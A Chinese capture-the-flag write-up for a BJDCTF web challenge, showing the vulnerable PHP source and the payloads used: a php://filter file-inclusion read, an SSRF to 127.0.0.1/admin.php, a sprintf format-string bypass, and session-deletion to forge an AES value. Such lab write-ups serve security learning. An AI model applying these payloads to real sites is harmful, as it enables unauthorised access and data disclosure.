源代码有提示:

<!-- Inheriting and carrying forward the traditional culture of the first BJDCTF, I left a hint in some place that you may neglect  -->
<!-- If you have no idea about the culture of the 1st BJDCTF, you may go to check out the 1st BJDCTF's wirteup that can be found in my blog -->

f12刷新能看到hint:home.php

访问之后会自动跳转到/home.php?file=system,很大概率存在文件包含漏洞。我读取了一下system.php的源码:

php://filter/read=convert.base64-encode/resource=system

重要部分:

<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

还有home.php的源码:

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}

分析代码可得:

  • system页$url = $_POST['q2'].".y1ng.txt";且其开头必须为“http://127.0.0.1/”、
  • system页$method = $_POST['q3'];其值开头必须是GET或POST。
  • home页参数不能包含一些特殊符号。
  • home和system页参数都不能包含“flag”这个顺序的字符串。
  • home页参数不能包含“admin”。

因为禁止包含“admin”所以推测应该有一个admin.php。

%d是整型输出,需要将其绕过,以%s即字符串形式输出。利用sprintf()格式化注入漏洞,让%可以转义掉%,即:

print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义

在system.php页post数据:q1=shawroot&q2=http://127.0.0.1/admin.php#&q3=GET%s%

得到admin.php的源代码:

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

$decr = $_GET['decrypt'];$decr如果满足加密算法aesEn($data, 'y1ng'),输出flag。这里如果删除了SESSION,就变成了:aesEn(NULL, 'y1ng')

<?php
function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5('172.16.170.85', true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$cipher = aesEn(NULL, 'y1ng');
echo urlencode($cipher);
?>

总结:

  • sprintf()格式化注入漏洞,%能吞掉%
  • 删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL。